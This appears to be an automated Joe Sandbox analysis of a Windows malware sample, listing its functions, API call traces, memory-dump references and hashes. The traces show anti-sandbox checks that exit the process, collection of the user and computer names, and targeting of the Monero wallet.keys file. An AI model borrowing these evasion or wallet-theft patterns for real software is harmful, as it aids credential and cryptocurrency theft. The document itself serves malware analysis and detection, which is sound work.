Function 001969F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340690), ref: 001998A1
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340840), ref: 001998BA
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,013405E8), ref: 001998D2
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,013405D0), ref: 001998EA
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340720), ref: 00199903
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01348AA0), ref: 0019991B
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,013365E0), ref: 00199933
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01336380), ref: 0019994C
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,013406A8), ref: 00199964
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340600), ref: 0019997C
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340708), ref: 00199995
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01340768), ref: 001999AD
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,01336320), ref: 001999C5
Part of subcall function 00199860: GetProcAddress.KERNEL32(75900000,013406C0), ref: 001999DE

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 001811D0: ExitProcess.KERNEL32 ref: 00181211

Part of subcall function 00181160: GetSystemInfo.KERNEL32(?), ref: 0018116A
Part of subcall function 00181160: ExitProcess.KERNEL32 ref: 0018117E

Part of subcall function 00181110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0018112B
Part of subcall function 00181110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00181132
Part of subcall function 00181110: ExitProcess.KERNEL32 ref: 00181143

Part of subcall function 00181220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0018123E
Part of subcall function 00181220: __aulldiv.LIBCMT ref: 00181258
Part of subcall function 00181220: __aulldiv.LIBCMT ref: 00181266
Part of subcall function 00181220: ExitProcess.KERNEL32 ref: 00181294

Part of subcall function 00196770: GetUserDefaultLangID.KERNEL32 ref: 00196774

Part of subcall function 00181190: ExitProcess.KERNEL32 ref: 001811C6

Part of subcall function 00197850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001811B7), ref: 00197880
Part of subcall function 00197850: RtlAllocateHeap.NTDLL(00000000), ref: 00197887
Part of subcall function 00197850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0019789F

Part of subcall function 001978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197910
Part of subcall function 001978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00197917
Part of subcall function 001978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0019792F

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01348B50,?,001A110C,?,00000000,?,001A1110,?,00000000,001A0AEF), ref: 00196ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00196AE8
CloseHandle.KERNEL32(00000000), ref: 00196AF9
Sleep.KERNEL32(00001770), ref: 00196B04
CloseHandle.KERNEL32(?,00000000,?,01348B50,?,001A110C,?,00000000,?,001A1110,?,00000000,001A0AEF), ref: 00196B1A
ExitProcess.KERNEL32 ref: 00196B22

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: e0b07f9715e366bc66f85a2a98b2cf03e6b5ef465a8d1a2b6fb452dbcfbbe082
Instruction ID: b7ec7106022dcb97c53eb21b17ccc2ae16cbe39d6177d44453a7530fcc2dcf47
Opcode Fuzzy Hash: e0b07f9715e366bc66f85a2a98b2cf03e6b5ef465a8d1a2b6fb452dbcfbbe082
Instruction Fuzzy Hash: 2D310A71950208ABDF05FBF0DC5ABEE7779AF24744F904518F212A2191DF706A09CBE2

Function 001899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00189A11
LocalAlloc.KERNEL32(00000040,?), ref: 00189A31
ReadFile.KERNEL32(000000FF,?,00000000,0018148F,00000000), ref: 00189A5A
LocalFree.KERNEL32(0018148F), ref: 00189A90
CloseHandle.KERNEL32(000000FF), ref: 00189A9A

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 48389f99d612c774fca261f4b392b28b8a973f338822c4f37ae71cd7a44ab3a6
Instruction ID: 1d506f2a2fe37b34f6453d9192c32afd1d6e5720ca1ab117366dbebda0e4f0c4
Opcode Fuzzy Hash: 48389f99d612c774fca261f4b392b28b8a973f338822c4f37ae71cd7a44ab3a6
Instruction Fuzzy Hash: E33109B4A00209EFDB14DF94C985FAE77B9FF48344F148158E912A7290D778AA41CFA1

Function 00194780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0134DF88), ref: 001947DB

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

lstrcat.KERNEL32(?,00000000), ref: 00194801
lstrcat.KERNEL32(?,?), ref: 00194820
lstrcat.KERNEL32(?,?), ref: 00194834
lstrcat.KERNEL32(?,0133AF00), ref: 00194847
lstrcat.KERNEL32(?,?), ref: 0019485B
lstrcat.KERNEL32(?,0134D778), ref: 0019486F

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 00198D90: GetFileAttributesA.KERNEL32(00000000,?,00181B54,?,?,001A564C,?,?,001A0E1F), ref: 00198D9F

Part of subcall function 00194570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00194580
Part of subcall function 00194570: RtlAllocateHeap.NTDLL(00000000), ref: 00194587
Part of subcall function 00194570: wsprintfA.USER32 ref: 001945A6
Part of subcall function 00194570: FindFirstFileA.KERNEL32(?,?), ref: 001945BD

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 421862987514de803fe208fb2bccd0ce2c952c5dbf66ed377c1a11df3a358b5f
Instruction ID: 5b83336644d82182eabeae36e4b98e0f64b96f672a85eaa493237e5dbe36d357
Opcode Fuzzy Hash: 421862987514de803fe208fb2bccd0ce2c952c5dbf66ed377c1a11df3a358b5f
Instruction Fuzzy Hash: BE315EB290021CA7CB15FBA0DC85EE9737CAB68704F404589B359D6081EF75A7898B95

Function 00181220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0018123E
__aulldiv.LIBCMT ref: 00181258
__aulldiv.LIBCMT ref: 00181266
ExitProcess.KERNEL32 ref: 00181294

Strings

@, xrefs: 00181233

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 3457ed38351fb1ac5b3538504c9137d7d4e400f40921045d92304d68d15c121a
Instruction ID: 6eeaa4cc0bd056fa599753eff3171cd82db857b3d7db61fb22369980d15b93ce
Opcode Fuzzy Hash: 3457ed38351fb1ac5b3538504c9137d7d4e400f40921045d92304d68d15c121a
Instruction Fuzzy Hash: D801FBB1944308BAEF10EBE4DC4AFAEBB7DAB14705F208048E605B6280D77466468B99

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 00197E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197E37
RtlAllocateHeap.NTDLL(00000000), ref: 00197E3E
RegOpenKeyExA.KERNEL32(80000002,0133BB60,00000000,00020119,?), ref: 00197E5E
RegQueryValueExA.KERNEL32(?,0134D4F8,00000000,00000000,000000FF,000000FF), ref: 00197E7F
RegCloseKey.ADVAPI32(?), ref: 00197E92

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e6068b9c612aa8d56c39bee21d8662410c37277abf5e8056b8e72108e0a5d770
Instruction ID: f1c53c3dad0e2bc704319b427291aeda4dd1c485590702f8daf40c1620b59619
Opcode Fuzzy Hash: e6068b9c612aa8d56c39bee21d8662410c37277abf5e8056b8e72108e0a5d770
Instruction Fuzzy Hash: F8114CB1A44609EBDB05CB95DD49FBBBBBCFB48B14F104159F605E7280D77468008BA2

Function 001812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001812B4
RtlAllocateHeap.NTDLL(00000000), ref: 001812BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001812F5
RegCloseKey.ADVAPI32(?), ref: 001812FF

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f38b3c98788029e1128a9af6d0b3e7484b1689e782e7a3b7a095b2427ecf01e6
Instruction ID: 54d6823014b0d2ac816157d2966f0fd6184d79865be4f4e024ce92d6a24a19ec
Opcode Fuzzy Hash: f38b3c98788029e1128a9af6d0b3e7484b1689e782e7a3b7a095b2427ecf01e6
Instruction Fuzzy Hash: 7F01CDB9A4020CBBDB15DFE4DC49FAEBBBCEB48705F108159FA05D7280DA75AA018F51

Function 0018A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01348B30,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0018A0BD
LoadLibraryA.KERNEL32(0134D4B8), ref: 0018A146

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A820: lstrlen.KERNEL32(00184F05,?,?,00184F05,001A0DDE), ref: 0019A82B
Part of subcall function 0019A820: lstrcpy.KERNEL32(001A0DDE,00000000), ref: 0019A885

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

